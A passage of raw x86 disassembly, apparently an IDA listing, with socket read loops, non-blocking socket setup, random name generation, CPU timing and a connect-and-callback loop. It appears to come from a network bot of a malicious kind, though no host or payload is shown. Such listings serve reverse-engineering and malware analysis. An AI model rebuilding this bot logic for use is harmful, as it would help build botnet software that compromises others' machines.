byte ptr [esp+18h], 1 jle short loc_41AC9D mov edi, ebp loc_41AC4B: ; CODE XREF: ___:0041AC9Bj cmp edi, ebx jz short loc_41AC9D cmp [esp+18h], bl jz short loc_41AC9D call sub_40195B test al, al jz short loc_41AC9D mov ecx, [esp+10h] push ebx push 1 push edi call sub_401960 test al, al jz short loc_41AC28 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41AC7D cmp al, bl jnz short loc_41AC90 loc_41AC7D: ; CODE XREF: ___:0041AC77j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41AC8A mov [esi+ebp-1], bl jmp short loc_41AC8C ; --------------------------------------------------------------------------- loc_41AC8A: ; CODE XREF: ___:0041AC82j mov [edi], bl loc_41AC8C: ; CODE XREF: ___:0041AC88j mov [esp+18h], bl loc_41AC90: ; CODE XREF: ___:0041AC7Bj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AC4B loc_41AC9D: ; CODE XREF: ___:0041AC47j ; ___:0041AC4Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ACE0: ; CODE XREF: ___:00401082j push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41ACF2 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41ACF2: ; CODE XREF: ___:0041ACEAj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AD03 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD03: ; CODE XREF: ___:0041ACFBj mov ecx, [esp+0Ch] mov edx, [esp+8] push ecx push edx push eax nop call near ptr 71AB951Eh pop esi retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AD30 proc near ; CODE XREF: sub_401893j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41AD42 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD42: ; CODE XREF: sub_41AD30+Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AD53 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD53: ; CODE XREF: sub_41AD30+1Bj mov ecx, [esp+4+arg_4] mov edx, [esp+4+arg_0] push ecx push edx push eax nop call near ptr 71AC0B50h pop esi retn 8 sub_41AD30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AD80: ; CODE XREF: ___:00401C3Fj sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx mov al, [esi+80Ch] cmp al, cl mov eax, [esi+806h] jnz short loc_41ADBF cmp eax, 0FFFFFFFFh jz short loc_41ADB5 cmp [esi+80Bh], cl jz short loc_41ADB5 mov eax, 1 pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADB5: ; CODE XREF: ___:0041AD9Ej ; ___:0041ADA6j xor eax, eax pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADBF: ; CODE XREF: ___:0041AD99j lea edx, [esp+4] mov [esp+10h], eax push edx lea edx, [esp+10h] push ecx push edx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx call near ptr 71AB2DC0h nop test eax, eax jnz short loc_41ADF5 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADF5: ; CODE XREF: ___:0041ADE9j mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AE50: ; CODE XREF: ___:004016E5j sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx cmp [esi+80Ch], cl jnz short loc_41AE6D xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AE6D: ; CODE XREF: ___:0041AE61j mov eax, [esi+806h] lea edx, [esp+4] push edx lea edx, [esp+10h] mov [esp+14h], eax push edx push ecx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41AEA9 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEA9: ; CODE XREF: ___:0041AE9Dj mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AEF0: ; CODE XREF: ___:0040173Aj push esi mov esi, [esp+8] push edi mov edi, ecx push 800h lea edx, [esi+6] mov ax, [edi+4] lea ecx, [edi+6] push ecx push edx mov [esi+4], ax call near ptr 77C47A90h nop xor al, al add esp, 0Ch mov dword ptr [esi+806h], 0FFFFFFFFh mov [esi+80Ch], al mov [esi+80Bh], al mov al, [edi+80Dh] mov [esi+80Dh], al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AF60 proc near ; CODE XREF: sub_4018BBj arg_0 = dword ptr 4 mov al, byte ptr [esp+arg_0] test al, al mov [ecx+80Ch], al jz short loc_41AF90 mov ecx, [ecx+806h] lea eax, [esp+arg_0] push eax push 8004667Eh push ecx mov [esp+0Ch+arg_0], 1 nop call near ptr 71AB4519h retn 4 ; --------------------------------------------------------------------------- loc_41AF90: ; CODE XREF: sub_41AF60+Cj mov eax, [ecx+806h] lea edx, [esp+arg_0] push edx push 8004667Eh push eax mov [esp+0Ch+arg_0], 0 nop call near ptr 71AB4519h retn 4 sub_41AF60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401186j push esi mov esi, ecx push 0 lea ecx, [esi+4] call sub_401C35 mov dword ptr [esi], offset off_43E0C0 mov eax, esi pop esi retn sub_41AFE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B010 proc near ; CODE XREF: ___:00401915j sub_401E74j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40186B test [esp+4+arg_0], 1 jz short loc_41B028 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B028: ; CODE XREF: sub_41B010+Dj mov eax, esi pop esi retn 4 sub_41B010 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B040 proc near ; CODE XREF: sub_40186Bj mov dword ptr [ecx], offset off_43E0C0 add ecx, 4 jmp sub_401FC8 sub_41B040 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B060 proc near ; CODE XREF: sub_401636j arg_0 = dword ptr 4 push esi push edi call sub_40195B test al, al jnz short loc_41B072 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B072: ; CODE XREF: sub_41B060+9j mov esi, [esp+8+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41B0C5 push esi nop call near ptr 71AB4FD4h mov edi, eax test edi, edi jnz short loc_41B097 pop edi or eax, 0FFFFFFFFh pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B097: ; CODE XREF: sub_41B060+2Dj mov eax, [edi+0Ch] xor esi, esi cmp dword ptr [eax], 0 jz short loc_41B0AC loc_41B0A1: ; CODE XREF: sub_41B060+4Aj mov ecx, [eax+4] add eax, 4 inc esi test ecx, ecx jnz short loc_41B0A1 loc_41B0AC: ; CODE XREF: sub_41B060+3Fj call sub_401EEC dec esi push esi push 0 call sub_4021A3 ; --------------------------------------------------------------------------- mov ecx, [edi+0Ch] add esp, 8 mov edx, [ecx+eax*4] mov eax, [edx] loc_41B0C5: ; CODE XREF: sub_41B060+20j pop edi pop esi retn 4 sub_41B060 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B0F0: ; CODE XREF: ___:00402095j push 0FFFFFFFFh push offset loc_43AD07 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push esi xor ebx, ebx push edi mov [esp+0Ch], ebx call sub_40195B test al, al jnz short loc_41B12F mov eax, [esp+58h] mov esi, [esp+54h] push eax mov ecx, esi call sub_401861 jmp loc_41B2DB ; --------------------------------------------------------------------------- loc_41B12F: ; CODE XREF: ___:0041B118j mov ecx, [esp+58h] push ecx lea ecx, [esp+30h] call sub_401861 mov edi, 1 lea ecx, [esp+2Ch] mov [esp+4Ch], edi call sub_4017E4 test eax, eax push offset byte_446F70 jnz short loc_41B16C mov esi, [esp+58h] mov ecx, esi call sub_401861 mov [esp+0Ch], edi jmp loc_41B2CE ; --------------------------------------------------------------------------- loc_41B16C: ; CODE XREF: ___:0041B156j lea ecx, [esp+30h] call sub_4012EE test eax, eax push offset byte_446F70 jnz short loc_41B192 mov esi, [esp+58h] mov ecx, esi call sub_401861 mov [esp+0Ch], edi jmp loc_41B2CE ; --------------------------------------------------------------------------- loc_41B192: ; CODE XREF: ___:0041B17Cj lea ecx, [esp+18h] call sub_401861 lea edx, [esp+10h] push ebx push edx push ebx push ebx push 0Fh lea ecx, [esp+40h] mov byte ptr [esp+60h], 2 call sub_4017E4 push eax call sub_436FC6 ; --------------------------------------------------------------------------- cmp eax, ebx jz short loc_41B1D6 mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014C9 mov [esp+0Ch], edi jmp loc_41B2C0 ; --------------------------------------------------------------------------- loc_41B1D6: ; CODE XREF: ___:0041B1BBj mov edi, [esp+10h] mov esi, offset dword_443DD4 mov ecx, [edi] mov eax, [ecx+4] loc_41B1E4: ; CODE XREF: ___:0041B202j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B208 cmp cl, bl jz short loc_41B204 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B208 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B1E4 loc_41B204: ; CODE XREF: ___:0041B1EEj xor eax, eax jmp short loc_41B20D ; --------------------------------------------------------------------------- loc_41B208: ; CODE XREF: ___:0041B1EAj ; ___:0041B1F8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B20D: ; CODE XREF: ___:0041B206j cmp eax, ebx jz short loc_41B27B push ebp loc_41B212: ; CODE XREF: ___:0041B265j ; ___:0041B269j nop call near ptr 27D07CDh and eax, 0Fh cmp al, 8 jnz short loc_41B226 cmp word ptr [edi+8], 0Fh jz short loc_41B26B loc_41B226: ; CODE XREF: ___:0041B21Dj mov edi, [edi] mov ebp, [esp+14h] cmp edi, ebx jnz short loc_41B232 mov edi, ebp loc_41B232: ; CODE XREF: ___:0041B22Ej mov eax, [edi+4] mov esi, offset dword_443DD4 loc_41B23A: ; CODE XREF: ___:0041B258j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B25E cmp cl, bl jz short loc_41B25A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B25E add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B23A loc_41B25A: ; CODE XREF: ___:0041B244j xor eax, eax jmp short loc_41B263 ; --------------------------------------------------------------------------- loc_41B25E: ; CODE XREF: ___:0041B240j ; ___:0041B24Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B263: ; CODE XREF: ___:0041B25Cj cmp eax, ebx jnz short loc_41B212 mov edi, ebp jmp short loc_41B212 ; --------------------------------------------------------------------------- loc_41B26B: ; CODE XREF: ___:0041B224j mov eax, [edi+18h] lea ecx, [esp+18h] push eax call sub_4015D7 pop ebp jmp short loc_41B288 ; --------------------------------------------------------------------------- loc_41B27B: ; CODE XREF: ___:0041B20Fj mov ecx, [edi+18h] push ecx lea ecx, [esp+18h] call sub_4015D7 loc_41B288: ; CODE XREF: ___:0041B279j push offset byte_446F70 lea ecx, [esp+18h] call sub_4012EE test eax, eax jnz short loc_41B2A8 mov edx, [esp+58h] lea ecx, [esp+14h] push edx call sub_4015D7 loc_41B2A8: ; CODE XREF: ___:0041B298j mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014C9 mov dword ptr [esp+0Ch], 1 loc_41B2C0: ; CODE XREF: ___:0041B1D1j lea ecx, [esp+14h] mov byte ptr [esp+4Ch], 1 call sub_401226 loc_41B2CE: ; CODE XREF: ___:0041B167j ; ___:0041B18Dj lea ecx, [esp+2Ch] mov [esp+4Ch], bl call sub_401226 loc_41B2DB: ; CODE XREF: ___:0041B12Aj mov ecx, [esp+44h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 44h retn 8 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B390: ; CODE XREF: ___:00402135j push esi mov esi, ecx call sub_401E6A push 0 lea ecx, [esi+15h] call sub_401C35 mov dword ptr [esi], offset off_43E0C4 mov dword ptr [esi+11h], 0 mov dword ptr [esi+823h], 0 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B3D0 proc near ; CODE XREF: sub_4013FCj ___:00402018j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BCC test [esp+4+arg_0], 1 jz short loc_41B3E8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B3E8: ; CODE XREF: sub_41B3D0+Dj mov eax, esi pop esi retn 4 sub_41B3D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B400 proc near ; CODE XREF: sub_401BCCj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41B400 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401FC8 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41B400 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B470: ; CODE XREF: ___:00401D3Ej push esi mov esi, ecx call sub_401E6A push 0 lea ecx, [esi+15h] call sub_401C35 mov eax, [esp+8] mov ecx, [esp+0Ch] mov [esi+11h], eax mov dword ptr [esi], offset off_43E0C4 mov [esi+823h], ecx mov eax, esi pop esi retn 8 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B4B0 proc near ; CODE XREF: sub_40167Cj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 14h push edi mov edi, ecx mov eax, [edi+11h] test eax, eax jz loc_41B5C0 mov ecx, [edi+823h] test ecx, ecx jz loc_41B5C0 push ebx push ebp lea ebx, [edi+15h] push esi push eax mov ecx, ebx xor esi, esi call sub_401488 mov ebp, dword_50F8D0 test al, al jnz short loc_41B513 loc_41B4E9: ; CODE XREF: sub_41B4B0+61j mov al, [edi+10h] test al, al jz loc_41B5AF mov al, byte_4E6E84 test al, al jz short loc_41B513 push 7D0h call ebp mov eax, [edi+11h] mov ecx, ebx push eax call sub_401488 test al, al jz short loc_41B4E9 loc_41B513: ; CODE XREF: sub_41B4B0+37j ; sub_41B4B0+4Bj mov al, [edi+10h] test al, al jz loc_41B5AF loc_41B51E: ; CODE XREF: sub_41B4B0+F9j mov al, byte_4E6E84 test al, al jz loc_41B5AF test esi, esi jnz short loc_41B54E push 80Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_41B54A push esi mov ecx, eax call sub_401C35 jmp short loc_41B54C ; --------------------------------------------------------------------------- loc_41B54A: ; CODE XREF: sub_41B4B0+8Ej xor eax, eax loc_41B54C: ; CODE XREF: sub_41B4B0+98j mov esi, eax loc_41B54E: ; CODE XREF: sub_41B4B0+7Dj push 0 push 0 push esi mov ecx, ebx call sub_401B81 test al, al jnz short loc_41B567 push 7D0h call ebp jmp short loc_41B5A4 ; --------------------------------------------------------------------------- loc_41B567: ; CODE XREF: sub_41B4B0+ACj xor ecx, ecx lea edx, [esp+24h+var_14] mov [esp+24h+var_10], ecx lea eax, [esp+24h+var_10] mov [esp+24h+var_C], ecx push edx mov [esp+28h+var_8], ecx push eax mov [esp+2Ch+var_4], ecx mov ecx, esi mov [esp+2Ch+var_14], 10h call sub_401893 mov al, byte ptr [esp+24h+var_C] test al, al jz short loc_41B5A4 push esi call dword ptr [edi+823h] add esp, 4 loc_41B5A4: ; CODE XREF: sub_41B4B0+B5j ; sub_41B4B0+E8j mov al, [edi+10h] test al, al jnz loc_41B51E loc_41B5AF: ; CODE XREF: sub_41B4B0+3Ej ; sub_41B4B0+68j ... mov ecx, ebx call sub_4014DD pop esi pop ebp pop ebx xor eax, eax pop edi add esp, 14h retn ; --------------------------------------------------------------------------- loc_41B5C0: ; CODE XREF: sub_41B4B0+Bj ; sub_41B4B0+19j xor eax, eax pop edi add esp, 14h retn sub_41B4B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B620: ; CODE XREF: ___:00401C21j mov eax, [esp+0Ch] push ebx push ebp mov ebp, [esp+10h] push esi push edi xor ebx, ebx xor edi, edi dec eax mov [ebp+0], bl cmp eax, ebx mov byte ptr [esp+18h], 1 jle short loc_41B695 mov esi, ebp loc_41B63F: ; CODE XREF: ___:0041B693j cmp esi, ebx jz short loc_41B695 cmp [esp+18h], bl jz short loc_41B695 mov ecx, [esp+14h] push ebx push 1 push esi push ecx nop call near ptr 71AB615Ah cmp eax, ebx jz short loc_41B6A4 cmp eax, 0FFFFFFFFh jz short loc_41B6A4 call near ptr 71AB94DCh nop cmp eax, 2733h jz short loc_41B69D mov [edi+ebp+1], bl mov al, [esi] cmp al, 0Ah jz short loc_41B680 cmp al, 0Dh jz short loc_41B680 cmp al, bl jnz short loc_41B688 loc_41B680: ; CODE XREF: ___:0041B676j ; ___:0041B67Aj mov [edi+ebp-1], bl mov [esp+18h], bl loc_41B688: ; CODE XREF: ___:0041B67Ej mov edx, [esp+1Ch] inc edi inc esi lea eax, [edx-1] cmp edi, eax jl short loc_41B63F loc_41B695: ; CODE XREF: ___:0041B63Bj ; ___:0041B641j ... mov eax, [esp+1Ch] mov [eax+ebp-1], bl loc_41B69D: ; CODE XREF: ___:0041B66Cj pop edi pop esi pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B6A4: ; CODE XREF: ___:0041B65Aj ; ___:0041B65Fj pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B6E0 proc near ; CODE XREF: sub_401280j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx push ebp mov ebp, [esp+8+arg_4] push esi xor ebx, ebx xor esi, esi dec eax cmp eax, ebx push edi mov [ebp+0], bl mov byte ptr [esp+10h+arg_4], 1 jle short loc_41B74A mov edi, ebp loc_41B6FF: ; CODE XREF: sub_41B6E0+68j cmp edi, ebx jz short loc_41B74A cmp byte ptr [esp+10h+arg_4], bl jz short loc_41B74A mov ecx, [esp+10h+arg_0] push ebx push 1 push edi push ecx call near ptr 71AB615Ah nop test eax, eax jz short loc_41B759 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41B72A cmp al, bl jnz short loc_41B73D loc_41B72A: ; CODE XREF: sub_41B6E0+44j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41B737 mov [esi+ebp-1], bl jmp short loc_41B739 ; --------------------------------------------------------------------------- loc_41B737: ; CODE XREF: sub_41B6E0+4Fj mov [edi], bl loc_41B739: ; CODE XREF: sub_41B6E0+55j mov byte ptr [esp+10h+arg_4], bl loc_41B73D: ; CODE XREF: sub_41B6E0+48j mov edx, [esp+10h+arg_8] inc esi inc edi lea eax, [edx-1] cmp esi, eax jl short loc_41B6FF loc_41B74A: ; CODE XREF: sub_41B6E0+1Bj ; sub_41B6E0+21j ... mov eax, [esp+10h+arg_8] pop edi pop esi mov [eax+ebp-1], bl pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B759: ; CODE XREF: sub_41B6E0+3Aj pop edi pop esi pop ebp xor al, al pop ebx retn sub_41B6E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B780: ; CODE XREF: ___:00401ADCj push ebx mov ebx, [esp+8] push ebp mov ebp, [esp+10h] mov ecx, ebp push esi mov edx, ecx push edi xor eax, eax mov edi, ebx shr ecx, 2 rep stosd mov ecx, edx xor esi, esi and ecx, 3 test ebp, ebp rep stosb jle short loc_41B7DB loc_41B7A6: ; CODE XREF: ___:0041B7D9j push 3 push 1 call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 dec eax jz short loc_41B7C7 dec eax jz short loc_41B7C1 dec eax jnz short loc_41B7D6 push 7Ah push 61h jmp short loc_41B7CB ; --------------------------------------------------------------------------- loc_41B7C1: ; CODE XREF: ___:0041B7B6j push 5Ah push 41h jmp short loc_41B7CB ; --------------------------------------------------------------------------- loc_41B7C7: ; CODE XREF: ___:0041B7B3j push 39h push 30h loc_41B7CB: ; CODE XREF: ___:0041B7BFj ; ___:0041B7C5j call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esi+ebx], al loc_41B7D6: ; CODE XREF: ___:0041B7B9j inc esi cmp esi, ebp jl short loc_41B7A6 loc_41B7DB: ; CODE XREF: ___:0041B7A4j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B800 proc near ; CODE XREF: sub_40141Aj rdtsc retn sub_41B800 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B820 proc near ; CODE XREF: sub_4017F3j var_4 = dword ptr -4 sub esp, 8 push ebx mov ebx, dword_50F8D0 push ebp push esi push edi xor ebp, ebp loc_41B82F: ; CODE XREF: sub_41B820+43j ; sub_41B820+4Dj call sub_40141A push 3E8h mov esi, eax mov edi, edx call ebx call sub_40141A sub eax, esi push ebp sbb edx, edi push 186A0h push edx push eax call sub_436970 push ebp push 0Ah push edx push eax call sub_436970 cmp edx, ebp mov esi, eax ja short loc_41B82F jb short loc_41B86F cmp esi, 0F4240h ja short loc_41B82F loc_41B86F: ; CODE XREF: sub_41B820+45j push ebp push 64h push edx push esi call sub_4368F0 mov ecx, eax cmp edx, ebp mov eax, 64h mov [esp+18h+var_4], ebp ja short loc_41B8F9 jb short loc_41B88F cmp ecx, 50h jnb short loc_41B898 loc_41B88F: ; CODE XREF: sub_41B820+68j mov eax, 4Bh mov [esp+18h+var_4], ebp loc_41B898: ; CODE XREF: sub_41B820+6Dj cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8A3 cmp ecx, 47h jnb short loc_41B8AC loc_41B8A3: ; CODE XREF: sub_41B820+7Cj mov eax, 42h mov [esp+18h+var_4], ebp loc_41B8AC: ; CODE XREF: sub_41B820+81j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8B7 cmp ecx, 37h jnb short loc_41B8C0 loc_41B8B7: ; CODE XREF: sub_41B820+90j mov eax, 32h mov [esp+18h+var_4], ebp loc_41B8C0: ; CODE XREF: sub_41B820+95j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8CB cmp ecx, 26h jnb short loc_41B8D4 loc_41B8CB: ; CODE XREF: sub_41B820+A4j mov eax, 21h mov [esp+18h+var_4], ebp loc_41B8D4: ; CODE XREF: sub_41B820+A9j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8DF cmp ecx, 1Eh jnb short loc_41B8E8 loc_41B8DF: ; CODE XREF: sub_41B820+B8j mov eax, 19h mov [esp+18h+var_4], ebp loc_41B8E8: ; CODE XREF: sub_41B820+BDj cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8F3 cmp ecx, 0Ah jnb short loc_41B8F9 loc_41B8F3: ; CODE XREF: sub_41B820+CCj xor eax, eax mov [esp+18h+var_4], ebp loc_41B8F9: ; CODE XREF: sub_41B820+66j ; sub_41B820+7Aj ... sub eax, ecx pop edi add eax, esi pop esi pop ebp pop ebx add esp, 8 retn sub_41B820 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B950 proc near ; CODE XREF: sub_402022j var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_41B950 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h mov al, byte_447769 push ebx push esi push edi test al, al mov [esp+4Ch+var_40], 0 jz loc_41BAAF push ebp lea ecx, [esp+50h+var_3C] call sub_401424 push 400h lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 1 xor bl, bl call sub_401C5D mov ebp, eax call sub_401EEC lea ecx, [esp+50h+var_3C] call sub_4013D9 mov [esp+50h+arg_4], eax lea eax, [esp+50h+arg_4] push eax push ebp call near ptr 27F113Bh nop test eax, eax jnz short loc_41B9E6 mov edi, offset byte_446F70 or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_41B9E6: ; CODE XREF: sub_41B950+74j movsx ecx, byte ptr [ebp+0] mov eax, 41h loc_41B9EF: ; CODE XREF: sub_41B950+A9j cmp ecx, eax jnz short loc_41B9F5 mov bl, 1 loc_41B9F5: ; CODE XREF: sub_41B950+A1j inc eax cmp eax, 5Bh jl short loc_41B9EF mov eax, 61h loc_41BA00: ; CODE XREF: sub_41B950+BAj cmp ecx, eax jnz short loc_41BA06 mov bl, 1 loc_41BA06: ; CODE XREF: sub_41B950+B2j inc eax cmp eax, 7Bh jl short loc_41BA00 test bl, bl jnz short loc_41BA32 mov edi, offset byte_446F70 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_41BA32: ; CODE XREF: sub_41B950+BEj mov esi, dword_50FABC call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_3C] push edx mov ecx, esi call sub_4014C9 mov [esp+50h+var_40], 1 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 0 call sub_401226 pop ebp mov eax, esi pop edi pop esi pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn ; --------------------------------------------------------------------------- loc_41BAAF: ; CODE XREF: sub_41B950+2Aj lea ecx, [esp+4Ch+var_24] call sub_401424 mov ebx, 2 mov [esp+4Ch+var_4], ebx call near ptr 27D07CDh nop push eax nop call near ptr 77C371BCh mov edi, dword_50FABC add esp, 4 call edi ; rand cdq mov ecx, 3 idiv ecx lea ecx, [esp+4Ch+var_24] mov esi, edx mov edx, [esp+4Ch+arg_4] push edx add esi, 6 call sub_4015D7 test esi, esi jle short loc_41BB4E loc_41BAF8: ; CODE XREF: sub_41B950+1FCj lea ecx, [esp+4Ch+var_3C] call sub_401424 lea eax, [esp+4Ch+var_24] lea ecx, [esp+4Ch+var_3C] push eax mov byte ptr [esp+50h+var_4], 3 call sub_401FBE call edi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+4Ch+var_3C] add edx, 61h push edx call sub_4017E4 push eax lea edx, [esp+54h+var_24] push offset dword_443E84 push edx call sub_40102D add esp, 10h lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], bl call sub_401226 dec esi jnz short loc_41BAF8 loc_41BB4E: ; CODE XREF: sub_41B950+1A6j mov esi, [esp+4Ch+arg_0] lea eax, [esp+4Ch+var_24] push eax mov ecx, esi call sub_4014C9 lea ecx, [esp+4Ch+var_24] mov [esp+4Ch+var_40], 1 mov byte ptr [esp+4Ch+var_4], 0 call sub_401226 mov ecx, [esp+4Ch+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 40h retn sub_41B950 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BC20: ; 